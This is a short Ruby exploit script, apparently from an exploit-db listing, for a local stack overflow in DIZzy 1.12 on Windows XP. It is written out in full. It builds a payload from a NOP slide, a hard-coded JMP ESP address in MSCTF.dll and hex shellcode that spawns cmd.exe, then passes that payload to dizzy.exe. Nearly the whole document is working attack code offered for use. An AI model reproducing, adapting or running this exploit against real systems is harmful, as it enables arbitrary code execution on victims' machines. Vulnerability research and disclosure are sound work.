#!/usr/bin/ruby # Exploit Title: DIZzy 1.12 Local Stack Overflow # Google Dork: n/a # Date: 17/11/2010 # Author: g30rg3_x # Version: 1.12 # Tested on: Windows XP SP3 Eng/Spa # CVE: n/a # Notes: Bug was originally found on 22/02/2010 but since there is no response from # developers it goes public. # win32/xp sp2 cmd.exe 57 bytes - Mountassif Moad aka Stack # http://www.exploit-db.com/exploits/13511/ shellcode = "\xB8\xFF\xEF\xFF\xFF\xF7\xD0\x2B\xE0\x55\x8B\xEC" + "\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45" + "\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45" + "\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45" + "\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3" # Preparing the exploit... nop_slide = "\x90" * 284 nop_slide2 = "\x90" * 17 jmp_esp = "\x73\x18\x6E\x74" # win32/xp sp3 MSCTF.dll: JMP ESP exploit = nop_slide + jmp_esp + nop_slide2 + shellcode executable = 'dizzy.exe' # Boom! exec(executable, exploit)